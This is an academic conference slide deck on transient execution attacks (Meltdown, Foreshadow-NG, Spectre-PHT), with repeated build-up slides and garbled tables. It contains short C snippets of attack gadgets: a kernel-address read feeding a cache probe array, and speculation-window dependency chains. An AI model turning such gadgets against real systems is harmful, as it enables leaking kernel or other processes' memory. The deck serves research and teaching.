Transient Execution Attacks: Still hARMful?

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f)
May 17, 2019

Graz University of Technology
Barbara Gigerl
Master student @ Graz University of Technology

@barbarag2112
barbara.gigerl@student.tugraz.at
Claudio Canella

PhD student @ Graz University of Technology

@cc0x1f

claudio.canella@iaik.tugraz.at
INTEL REVEALS DESIGN FLAW THAT COULD ALLOW HACKERS TO ACCESS DATA
DEVELOPING STORY

COMPUTER CHIP FLAWS IMPACT BILLIONS OF DEVICES
GLOBAL

COMPUTER CHIP SCARE
The bugs are known as 'Spectre' and 'Meltdown'
• Bug-free software does not mean safe execution
• Bug-free software does not mean safe execution
• Information leaks due to underlying hardware
• Bug-free software does not mean safe execution
• Information leaks due to underlying hardware
• Exploit leakage through side-effects
• Bug-free software does not mean safe execution
• Information leaks due to underlying hardware
• Exploit leakage through side-effects
• Instruction Set Architecture (ISA) is an abstract model of a computer (x86, ARMv8, SPARC, ...)
• Instruction Set Architecture (ISA) is an abstract model of a computer (x86, ARMv8, SPARC, …)

• Interface between hardware and software
• Instruction Set Architecture (ISA) is an abstract model of a computer (x86, ARMv8, SPARC, …)
• Interface between hardware and software
• Microarchitecture is an ISA implementation
• Instruction Set Architecture (ISA) is an abstract model of a computer (x86, ARMv8, SPARC, ...)
• Interface between hardware and software
• Microarchitecture is an ISA implementation
Modern CPUs contain multiple microarchitectural elements
• Modern CPUs contain multiple microarchitectural elements

Caches and buffers

Predictors
Modern CPUs contain multiple microarchitectural elements

- Caches and buffers
- Predictors

Transparent for the programmer
Modern CPUs contain multiple microarchitectural elements

- Caches and buffers
- Predictors

- Transparent for the programmer
- Timing optimizations → side-channel leakage
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);

Cache miss

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
printf("%d", i);
CPU Cache

```c
printf("%d", i);
printf("%d", i);
```

Cache miss

Cache hit

Request

Response
CPU Cache

DRAM access, slow

\texttt{printf("\%d", i);} 
\texttt{printf("\%d", i);} 
\texttt{printf("\%d", i);}
CPU Cache

DRAM access, slow

printf("%d", i);

Cache miss

printf("%d", i);

Cache hit

No DRAM access, much faster

Request

Response

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Caching speeds up Memory Accesses

Cache Hits

Number of accesses

Access time [CPU cycles]

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Caching speeds up Memory Accesses

Access time [CPU cycles]

Number of accesses

- Cache Hits
- Cache Misses

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Flush+Reload

Attacker
flush
access

Shared Memory

Victim
access

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Flush+Reload

Attacker

flush
access

Shared Memory

cached

Victim

access

Shared Memory

cached
Flush+Reload

Attacker

flush
access

Shared Memory

Victim

access
Flush+Reload

Attacker

flush
access

Shared Memory

Victim

access
Flush+Reload

Attacker
flush
access

Shared Memory

Victim
access

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Flush+Reload

Attacker

flush
access

Shared Memory

Victim

access

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Flush+Reload

Attacker

flush

access

Shared Memory

Victim

access

Victim accessed (fast)

Victim did not access (slow)

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Toy example

```c
char array[256 * 4096]; // 256 pages of memory
```
char array[256 * 4096]; // 256 pages of memory

*(volatile char*) 0; // raise_exception();
array[84 * 4096] = 0;
• Flush+Reload over all pages of the array

<table>
<thead>
<tr>
<th>Page</th>
<th>Access time [cycles]</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td></td>
</tr>
<tr>
<td>50</td>
<td></td>
</tr>
<tr>
<td>100</td>
<td></td>
</tr>
<tr>
<td>150</td>
<td></td>
</tr>
<tr>
<td>200</td>
<td></td>
</tr>
<tr>
<td>250</td>
<td></td>
</tr>
</tbody>
</table>

“Unreachable” code line was actually executed
• Exception was only thrown afterwards
• Out-of-order instructions leave microarchitectural traces
• Give such instructions a name: transient instructions
- Flush+Reload over all pages of the array

- “Unreachable” code line was actually executed
• Flush+Reload over all pages of the array

- "Unreachable" code line was actually executed
- Exception was only thrown afterwards
- Flush+Reload over all pages of the array

- “Unreachable” code line was actually executed
- Exception was only thrown afterwards
- Out-of-order instructions leave microarchitectural traces
• Flush+Reload over all pages of the array

• “Unreachable” code line was actually executed
• Exception was only thrown afterwards
• Out-of-order instructions leave microarchitectural traces
• Give such instructions a name: transient instructions
• Add another layer of indirection to test

```c
char array[256 * 4096]; // 256 pages of memory
```
• Add another layer of indirection to test

```c
char array[256 * 4096]; // 256 pages of memory

// read kernel address (raises exception)
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```
• Add another layer of indirection to test

```c
char array[256 * 4096]; // 256 pages of memory

// read kernel address (raises exception)
char data = *(char*) 0xffffffff81a000e0;
array[data * 4096] = 0;
```

• Then check whether any part of array is cached
• Flush+Reload over all pages of the array

• Index of cache hit reveals data
• Flush+Reload over all pages of the array

• Index of cache hit reveals data

• Permission check is in some cases too late
• CPU uses data in out-of-order execution before permission check
• CPU uses data in out-of-order execution before permission check
• Meltdown can read any kernel address
• CPU uses data in out-of-order execution before permission check
• Meltdown can read any kernel address
• Physical memory is usually mapped in kernel
• CPU uses data in **out-of-order execution** before permission check
• Meltdown can **read** any kernel address
• **Physical memory** is usually mapped in kernel
→ Read arbitrary memory
• Assumed Meltdown can one only read data from the L1...
Uncached and uncachable memory

- Assumed Meltdown can one only read data from the L1
- Leakage from L3 or memory is possible, just slower
• Assumed Meltdown can only read data from the L1
• Leakage from L3 or memory is possible, just slower
• Even leakage of UC (uncachable) memory regions...
• Assumed Meltdown can only read data from the L1
• Leakage from L3 or memory is possible, just slower
• Even leakage of UC (uncachable) memory regions...
  • ...if other hyperthread (legally) accesses the data
Uncached and uncachable memory

- Assumed Meltdown can only read data from the L1
- Leakage from L3 or memory is possible, just slower
- Even leakage of UC (uncachable) memory regions...
  - ...if other hyperthread (legally) accesses the data
  → ...leaks from line fill buffer
Take the kernel addresses...

- Kernel addresses in user space are a problem
Take the kernel addresses...

- Kernel addresses in user space are a problem
- Why don’t we take the kernel addresses...
...and remove them if not needed?
...and remove them

- ...and remove them if not needed?
- User accessible check in hardware is not reliable
Meltdown Mitigation: KAISER

- Userspace
- Kernelspace
- Applications
- Operating System
- Memory

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
• **Linux**: Kernel Page-table Isolation (KPTI)
Mitigations

- **Linux**: Kernel Page-table Isolation (KPTI)
- **Apple**: Released updates
Mitigations

- **Linux**: Kernel Page-table Isolation (KPTI)
- **Apple**: Released updates
- **Windows**: Kernel Virtual Address (KVA) Shadow
Problem Solved?

- Meltdown fully mitigated in software
Problem Solved?

- Meltdown fully mitigated in software
- Problem seemed to be solved
• Meltdown fully mitigated in software
• Problem seemed to be solved
• No attack surface left
Problem Solved?

- Meltdown **fully mitigated** in software
- Problem **seemed** to be solved
- No attack surface left
- That is what everyone thought
There are no bugs, just happy little accidents
• Meltdown is a whole category of vulnerabilities
- Meltdown is a whole category of vulnerabilities
- Not only the user-accessible check
• Meltdown is a whole category of vulnerabilities
• Not only the user-accessible check
• Looking closer at the check...
• CPU uses *virtual address spaces* to isolate processes
• CPU uses **virtual address spaces** to isolate processes
• Physical memory is organized in **page frames**
• CPU uses virtual address spaces to isolate processes
• Physical memory is organized in page frames
• Virtual memory pages are mapped to page frames using page tables
Address Translation on x86-64

48-bit virtual address

CR3

PML4
- PML4E 0
- PML4E 1
- ... #PML4I
- PML4E 511

PDPT
- PDPTI 0
- PDPTI 1
- ... #PDPTI
- PDPTI 511

Page Directory
- PDE 0
- PDE 1
- ... PDE #PDI
- PDE 511

Page Table
- PTE 0
- PTE 1
- ... PTE #PTI
- PTE 511

4 KiB Page
- Byte 0
- Byte 1
- ... Offset
- Byte 4095

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
<table>
<thead>
<tr>
<th>P</th>
<th>RW</th>
<th>US</th>
<th>WT</th>
<th>UC</th>
<th>R</th>
<th>D</th>
<th>S</th>
<th>G</th>
<th>Ignored</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Physical Page Number**

<table>
<thead>
<tr>
<th>Ignored</th>
<th>X</th>
</tr>
</thead>
</table>

- User/Supervisor bit defines in which *privilege level* the page can be accessed.
<table>
<thead>
<tr>
<th>P</th>
<th>RW</th>
<th>US</th>
<th>WT</th>
<th>UC</th>
<th>R</th>
<th>D</th>
<th>S</th>
<th>G</th>
<th>Ignored</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Physical Page Number**

<table>
<thead>
<tr>
<th>Ignored</th>
<th>X</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
### Page Table Entry

<table>
<thead>
<tr>
<th>P</th>
<th>RW</th>
<th>US</th>
<th>WT</th>
<th>UC</th>
<th>R</th>
<th>D</th>
<th>S</th>
<th>G</th>
<th>Ignored</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Physical Page Number</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ignored</td>
</tr>
</tbody>
</table>

- **Present** bit is the next obvious bit
• An even worse bug → Foreshadow-NG/L1TF
Foreshadow-NG

• An even worse bug → Foreshadow-NG/L1TF
• Exploitable from VMs
• An even **worse** bug → Foreshadow-NG/L1TF
• Exploitable from **VMs**
• Allows **leaking** data from the **L1** cache
Foreshadow-NG

- An even worse bug → Foreshadow-NG/L1TF
- Exploitable from VMs
- Allows leaking data from the L1 cache
- Same mechanism as Meltdown
• An even worse bug → Foreshadow-NG/L1TF
• Exploitable from VMs
• Allows leaking data from the L1 cache
• Same mechanism as Meltdown
• Just a different bit in the PTE
## Page Table

| PTE 0 |   |   |
|----------------|
| PTE 1 |   |   |
| ...   |   |   |
| PTE #PTI |   |   |
| ...   |   |   |
| PTE 511 |   |   |

### L1 Cache
Page Table

<table>
<thead>
<tr>
<th>PTE 0</th>
<th>PTE 1</th>
<th>...</th>
<th>PTE #PTI</th>
<th>...</th>
<th>PTE 511</th>
</tr>
</thead>
</table>

present

L1 Cache

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Page Table

<table>
<thead>
<tr>
<th>PTE 0</th>
</tr>
</thead>
<tbody>
<tr>
<td>PTE 1</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>PTE #PTI</td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td>PTE 511</td>
</tr>
</tbody>
</table>

present

Guest Physical to Host Physical

L1 Cache
Page Table

PTE 0
PTE 1
·
PTE #PTI
·
PTE 511

present

Guest Physical to Host Physical

Physical Page

L1 lookup with physical address

L1 Cache
Page Table

<table>
<thead>
<tr>
<th>PTE 0</th>
<th>PTE 1</th>
<th>\vdots</th>
<th>PTE #PTI</th>
<th>\vdots</th>
<th>PTE 511</th>
</tr>
</thead>
</table>

L1 Cache

not present
Page Table

| PTE 0 | PTE 1 | \ldots | PTE \#PTI | \ldots | PTE 511 |

not present

L1 lookup with virtual address

L1 Cache
• KAISER/KPTI/KVA does not help
• KAISER/KPTI/KVA does not help
• Only software workarounds
- KAISER/KPTI/KVA does not help
- Only software workarounds
  - Flush L1 on VM entry
• KAISER/KPTI/KVA does not help
• Only software workarounds
  → Flush L1 on VM entry
  → Disable HyperThreading
- KAISER/KPTI/KVA does not help
- Only *software workarounds*
  - → *Flush L1* on VM entry
  - → Disable *HyperThreading*
- Workarounds might not be complete
Pagefault
Meltdown Variants

Pagefault → Meltdown-US
Meltdown Variants

- Pagefault
- Meltdown-US
  - Meltdown-US-L1
  - Meltdown-US-L3
  - Meltdown-US-LFB

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Meltdown Variants

- Pagefault
  - Meltdown-US
    - Meltdown-US-L1
  - Meltdown-P
    - Meltdown-US-L3
    - Meltdown-US-LFB
Meltdown Variants

- Pagefault
  - Meltdown-US
    - Meltdown-US-L1
  - Meltdown-P
    - Meltdown-US-L3
  - Meltdown-RW
    - Meltdown-US-LFB
  - Meltdown-PK

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Meltdown Variants

- Pagefault
  - Meltdown-US
  - Meltdown-P
  - Meltdown-RW
  - Meltdown-PK
  - Meltdown-XD
  - Meltdown-SM
  - Meltdown-US-L1
  - Meltdown-US-L3
  - Meltdown-US-LFB
operation #n
operation \#n

data

time
Meltdown Root Cause

operation \( \#n \)

data

data dependency

operation \( \#n+2 \)

time
Meltdown Root Cause

operation \#n

retire

exception

data

data dependency

operation \#n+2

possibly architectural

transient execution

time

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Meltdown Root Cause

Operation #n

Data dependency

Operation #n+2

Transient execution

Exception

Data

Time

Possibly architectural
Meltdown Root Cause

operation \#n

\[\text{exception} \rightarrow \text{Meltdown} \rightarrow \text{data dependency} \rightarrow \text{operation } \#n+2\]

possibly architectural transient execution
Meltdown Root Cause

- Operation $\#n$
- Data dependency
- Operation $\#n+2$
- Meltdown
- Transient execution
- Exception
- Possibly architectural
- Time
Transient cause?
Meltdown Tree

Transient cause?

Meltdown-type
Meltdown Tree

Transient cause?

- Meltdown-NM
  - Meltdown-AC
  - Meltdown-DE
  - Meltdown-PF
  - Meltdown-UD
  - Meltdown-SS
  - Meltdown-BR
  - Meltdown-GP
Meltdown Tree
Meltdown Tree

Transients cause?

Meltdown-type

- Meltdown-NM
- Meltdown-AC
- Meltdown-DE
- Meltdown-PF
- Meltdown-UD
- Meltdown-SS
- Meltdown-BR
- Meltdown-GP

Fault type

- Meltdown-US
- Meltdown-AC
- Meltdown-US-L1
- Meltdown-P
- Meltdown-US-L3
- Meltdown-RW
- Meltdown-PK
- Meltdown-US-LFB
- Meltdown-XD
- Meltdown-MPX
- Meltdown-BND
- Meltdown-SM
• Meltdown is not a fully solved issue
• Meltdown is not a fully solved issue
• The tree is extensible
Meltdown Outlook

- Meltdown is **not** a fully **solved** issue
- The tree is extensible
- Silicon fixes might not be complete
• Meltdown not the only transient execution attacks
• Meltdown not the only *transient execution attacks*
• *Spectre* is a second class of transient execution attacks
• Meltdown not the only transient execution attacks
• Spectre is a second class of transient execution attacks
• Instead of faults, exploit control (or data) flow predictions
• CPU tries to predict the future (branch predictor), …
Speculative Execution

• CPU tries to predict the future (branch predictor), …
  • … based on events learned in the past
Speculative Execution

• CPU tries to predict the future (branch predictor), ...
  • ...based on events learned in the past
• Speculative execution of instructions
Speculative Execution

- CPU tries to predict the future (branch predictor), …
  - … based on events learned in the past
- Speculative execution of instructions
- If the prediction was correct, …
Speculative Execution

- CPU tries to predict the future (branch predictor), ...
  - ...based on events learned in the past
- **Speculative execution** of instructions
- If the prediction was correct, ...
  - ...very fast
Speculative Execution

- CPU tries to predict the future (branch predictor), …
  - … based on events learned in the past
- Speculative execution of instructions
- If the prediction was correct, …
  - … very fast
  - otherwise: Discard results
Spectre-PHT (aka Spectre Variant 1)

```plaintext
index = 0

if (index < 4)
  glyph[data[index]]
else
  {}
```
index = 0

if (index < 4)
{
  glyph[data[index]]
}
else
{
  Speculate
}
index = 0

if (index < 4)
    glyph[data[index]]
else
    {}

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
index = 0

if (index < 4)

glyph[data[index]]

else

{}
\[
\text{index} = 0 \\
\text{if (index} < 4) \\
\quad \text{glyph} [\text{data} [\text{index}]] \\
\quad \text{D} \\
\text{else} \\
\quad \{ \\
\text{D} \\
\text{DATA} \\
\text{TAKE} \\
\text{KEY} \\
\ldots \\
\} \\
\]
index = 1

if (index < 4)
    then
        glyph[data[index]]
    else
        {}

barbara Gigerl (@barbarag2112), claudio canella (@cc0x1f) — Graz University of Technology
index = 1

if (index < 4)
then

glyph[data[index]]

else

{ }

memory

data[0]
data[1]
data[2]
data[3]

index = 1

Speculate

Shared Memory

A B
C D E
F G H
I J K
L M N
O P Q
R S T
U V W
X Y Z

Memory

D

DATA

KEY

...
Spectre-PHT (aka Spectre Variant 1)

index = 1

if (index < 4) then
  glyph[data[index]]
else

Memory

A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z

A

B

D

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre-PHT (aka Spectre Variant 1)

index = 1

if (index < 4)

glyph[data[index]]

else

\{ \}

Shared Memory

A B
C D E
F G H
I J K
L M N
O P Q
R S T
U V W
X Y Z

Memory

D
A T A
K E Y
...

data[0]
data[1]
data[2]
data[3]

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
index = 1

if (index < 4)
then

glyph[data[index]]

else

{ }

memory
index = 1

if (index < 4)
then
  glyph[data[index]]
else
  
{ }

barbara gigerl (@barbarag2112), claudio canella (@cc0x1f) — graz university of technology
Spectre-PHT (aka Spectre Variant 1)

```plaintext
index = 2

if (index < 4) {
    glyph[data[index]]
} else {

}

Shared Memory
<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>D</td>
</tr>
<tr>
<td>E</td>
<td>F</td>
</tr>
<tr>
<td>G</td>
<td>H</td>
</tr>
<tr>
<td>I</td>
<td>J</td>
</tr>
<tr>
<td>K</td>
<td>L</td>
</tr>
<tr>
<td>M</td>
<td>N</td>
</tr>
<tr>
<td>O</td>
<td>P</td>
</tr>
<tr>
<td>Q</td>
<td>R</td>
</tr>
<tr>
<td>S</td>
<td>T</td>
</tr>
<tr>
<td>U</td>
<td>V</td>
</tr>
<tr>
<td>W</td>
<td>X</td>
</tr>
<tr>
<td>Y</td>
<td>Z</td>
</tr>
</tbody>
</table>

Memory
- data[0]
- data[1]
- data[2]
- data[3]

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
index = 2

\[
\text{if (index < 4) then glyph[data[index]]}
\]

\[
\text{else }
\]

\[
\text{Shared Memory}
\]

\[
\begin{array}{cccc}
A & B & C & D \\
E & F & G & H \\
I & J & K & L \\
M & N & O & P \\
Q & R & S & T \\
U & V & W & X \\
Y & Z & & \\
\end{array}
\]

\[
\text{Memory}
\]

\[
\begin{array}{cccc}
\text{data[0]} & \text{data[1]} & \text{data[2]} & \text{data[3]} \\
\end{array}
\]
index = 2

if (index < 4)
then
glyph[data[index]]
else

index = 2

if (index < 4) then
  glyph[data[index]]
else
  T

Memory

Data [0]
Data [1]
Data [2]
Data [3]
index = 2

if (index < 4) {
  glyph[data[index]]
} else {
  
}
index = 3

if (index < 4)

then

glyph[data[index]]

else

{}
Spectre-PHT (aka Spectre Variant 1)

Index $= 3$

if (index < 4) {
  glyph[data[index]]
} else {
  {}  
}

Shared Memory

A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z

Memory

D
A
T
A
K
E
Y
\ldots

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
index = 3

if (index < 4)
   glyph[data[index]]
else
   {}

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Speculative Access to Dataspace (aka Spectre Variant 1)

index = 3

if (index < 4)
  glyph[data[index]]
else
  {}

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre-PHT (aka Spectre Variant 1)

```
index = 3

if (index < 4)
    glyph[data[index]]
else

Shared Memory

<table>
<thead>
<tr>
<th></th>
<th>A</th>
<th>B</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>D</td>
<td>E</td>
</tr>
<tr>
<td>F</td>
<td>G</td>
<td>H</td>
</tr>
<tr>
<td>I</td>
<td>J</td>
<td>K</td>
</tr>
<tr>
<td>L</td>
<td>M</td>
<td>N</td>
</tr>
<tr>
<td>O</td>
<td>P</td>
<td>Q</td>
</tr>
<tr>
<td>R</td>
<td>S</td>
<td>T</td>
</tr>
<tr>
<td>U</td>
<td>V</td>
<td>W</td>
</tr>
<tr>
<td>X</td>
<td>Y</td>
<td>Z</td>
</tr>
</tbody>
</table>

Memory

<table>
<thead>
<tr>
<th></th>
<th>data[0]</th>
</tr>
</thead>
<tbody>
<tr>
<td>D</td>
<td>data[1]</td>
</tr>
<tr>
<td>T</td>
<td>data[2]</td>
</tr>
<tr>
<td>A</td>
<td>data[3]</td>
</tr>
<tr>
<td>K</td>
<td></td>
</tr>
<tr>
<td>E</td>
<td></td>
</tr>
<tr>
<td>Y</td>
<td></td>
</tr>
</tbody>
</table>

Glyph A

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre-PHT (aka Spectre Variant 1)

```java
index = 4

if (index < 4)
    glyph[data[index]]
else
    {}
```

Shared Memory

<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
<th>E</th>
</tr>
</thead>
<tbody>
<tr>
<td>F</td>
<td>G</td>
<td>H</td>
<td>I</td>
<td>J</td>
</tr>
<tr>
<td>L</td>
<td>M</td>
<td>N</td>
<td>O</td>
<td>P</td>
</tr>
<tr>
<td>Q</td>
<td>R</td>
<td>S</td>
<td>T</td>
<td>U</td>
</tr>
<tr>
<td>V</td>
<td>W</td>
<td>X</td>
<td>Y</td>
<td>Z</td>
</tr>
</tbody>
</table>

Memory

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>D</td>
<td>A</td>
<td>T</td>
<td>E</td>
</tr>
<tr>
<td>A</td>
<td>T</td>
<td>K</td>
<td>Y</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
index = 4

Shared Memory

| A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z |

Speculate

if (index < 4)

then

glyph[data[index]]

else

{}
index = 4

if (index < 4)
then

glyph[data[index]]

else

{}
Spectre-PHT (aka Spectre Variant 1)

```plaintext
index = 4
```

```plaintext
if (index < 4)
    glyph[data[index]]
else
    {}
```

_shared Memory_

- A
- B
- C
- D
- E
- F
- G
- H
- I
- J
- K
- L
- M
- N
- O
- P
- Q
- R
- S
- T
- U
- V
- W
- X
- Y
- Z

_Memory_

- data[0]
- data[1]
- data[2]
- data[3]

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre-PHT (aka Spectre Variant 1)

index = 4

Shared Memory

<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
</tr>
</thead>
<tbody>
<tr>
<td>C</td>
<td>D</td>
</tr>
<tr>
<td>E</td>
<td>F</td>
</tr>
<tr>
<td>G</td>
<td>H</td>
</tr>
<tr>
<td>I</td>
<td>J</td>
</tr>
<tr>
<td>K</td>
<td>L</td>
</tr>
<tr>
<td>M</td>
<td>N</td>
</tr>
<tr>
<td>O</td>
<td>P</td>
</tr>
<tr>
<td>Q</td>
<td>R</td>
</tr>
<tr>
<td>S</td>
<td>T</td>
</tr>
<tr>
<td>U</td>
<td>V</td>
</tr>
<tr>
<td>W</td>
<td>X</td>
</tr>
<tr>
<td>Y</td>
<td>Z</td>
</tr>
</tbody>
</table>

if (index < 4)

glyph[data[index]]

else

Memory

data[0]
data[1]
data[2]
data[3]

Execute

{}
operation #n
operation #n

prediction

---

time
Spectre Root Cause

Operation \(#n\)

Prediction

Operation \(#n+2\)

Predict CF/DF

time

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Root Cause

operation #n

prediction

operation #n+2

possibly architectural

transient execution

time

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Root Cause

operation \( \#n \)

prediction

operation \( \#n+2 \)

possibly architectural

transient execution

time

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Root Cause

operation \#n

prediction

predict CF/DF

possibly architectural

transient execution

operation \#n+2

flush pipeline on wrong prediction

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Root Cause

operation \#n

prediction

operation \#n+2

possibly architectural

transient execution

flush pipeline on wrong prediction

time

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
• Many predictors in modern CPUs
• Many predictors in modern CPUs
  • Branch taken/not taken (PHT)
Many predictors in modern CPUs
- Branch taken/not taken (PHT)
- Call/Jump destination (BTB)
• Many predictors in modern CPUs
  • Branch taken/not taken (PHT)
  • Call/Jump destination (BTB)
  • Function return destination (RSB)
Spectre Root Cause

• Many predictors in modern CPUs
  • Branch taken/not taken (PHT)
  • Call/Jump destination (BTB)
  • Function return destination (RSB)
  • Load matches previous store (STL)
Spectre Root Cause

• Many predictors in modern CPUs
  • Branch taken/not taken (PHT)
  • Call/Jump destination (BTB)
  • Function return destination (RSB)
  • Load matches previous store (STL)

• Most are even shared among processes
Spectre Mistraining

Victim

same address space/in place

Victim branch
Spectre Mistraining

same address space/
out of place

same address space/
in place

Congruent
branch

Address
collision

Victim
branch

Victim
Spectre Mistraining

Victim

same address space/out of place

Congruent branch

Address collision

same address space/in place

Victim branch

Shared Branch Prediction State

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Mistraining

Victim

same address space/
out of place

Congruent
branch

Address
collision

Victim
branch

Attacker

same address space/
in place

Shared Branch Prediction State

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Mistraining

same address space/
out of place

same address space/
in place

Victim

Attacker

Congruent
branch

Address
collision

Victim
branch

Shadow
branch

Shared Branch Prediction State

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Spectre Mistraining

Victim

- Congruent branch
- Address collision
- Same address space/out of place

Attacker

- Congruent branch
- Address collision
- Cross address space/out of place

- Shadow branch
- Same address space/in place

Shared Branch Prediction State
• Questions:

- Size of speculation window?
- Best working gadget?

Experiment Setup:
- ARM Cortex A-57
- Spectre-PHT with F+R
- 1 run: leak 1 byte
- 1 test: do \( n \) runs in \( m \) different processes
• Questions:
  • Size of speculation window?
• Questions:
  • Size of speculation window?
  • Best working gadget?
Questions:
- Size of speculation window?
- Best working gadget?

Experiment Setup:
• Questions:
  • Size of speculation window?
  • Best working gadget?

• Experiment Setup:
  • ARM Cortex A-57
• Questions:
  • Size of speculation window?
  • Best working gadget?

• Experiment Setup:
  • ARM Cortex A-57
  • Spectre-PHT with F+R
• Questions:
  • Size of speculation window?
  • Best working gadget?

• Experiment Setup:
  • ARM Cortex A-57
  • Spectre-PHT with F+R
  • 1 run: leak 1 byte
Analysis

Questions:
- Size of speculation window?
- Best working gadget?

Experiment Setup:
- ARM Cortex A-57
- Spectre-PHT with F+R
- 1 run: leak 1 byte
- 1 test: do \( n \) runs in \( m \) different processes
Speculation Window

Use slow operation
Make operation slow

Dependency chains
Cache miss
TLB miss
Vector instructions
Port contention

Barbara Gigerl (@barbarag2112), Claudio Canella (@cc0x1f) — Graz University of Technology
Speculation Window

Use slow operation
Speculation Window

Use slow operation

Make operation slow
Speculation Window

Dependency chains

Use slow operation

Make operation slow
Speculation Window

- Dependency chains
- Cache miss

Use slow operation

Make operation slow
Speculation Window

Use slow operation

Make operation slow

Dependency chains

Cache miss

TLB miss
Speculation Window

- Use slow operation
- Make operation slow
- Dependency chains
- Cache miss
- TLB miss
- Vector instructions
Speculation Window

- Dependency chains
- Cache miss
- TLB miss
- Vector instructions
- Port contention

Use slow operation

Make operation slow
Speculation Window

- Dependency chains
- Cache miss
- TLB miss
- Vector instructions
- Port contention

Use slow operation

Make operation slow
Preliminary study \((m = 10)\)
Preliminary study \((m = 10)\)

\[\text{Average TPR} \rightarrow n = 100000\]
asm volatile("mov x3, #0")
asm volatile("mov x3, #0"
"mul x3, x3, x3"
"mul x3, x3, x3"
...

Results: Dependency chains

Maximal speculation window size: 57 instructions at a chain length of 22
asm volatile("mov x3, #0"
"mul x3, x3, x3"
"mul x3, x3, x3"
...
"mov %0, x3"
: "=r"(res));
asm volatile("mov x3, #0"
"mul x3, x3, x3"
"mul x3, x3, x3"
...
"mov %0, x3"
: "=r"(res));
if((x + res) < len)
    oracle[data[x]*4096];
asm volatile("mov x3, #0"
"mul x3, x3, x3"
"mul x3, x3, x3"
...
"mov %0, x3"
: "=r"(res));
if((x + res) < len)
  oracle[data[x]*4096];
Results: Dependency chains

```
asm volatile("mov x3, #0"
"mul x3, x3, x3"
"mul x3, x3, x3"
...
"mov %0, x3"
: "=r"(res));
if((x + res) < len)
    oracle[data[x]*4096];
```

Maximal speculation window size: **57** instructions at a chain length of **22**
unsigned char value = 0;
char* ptr = &value;
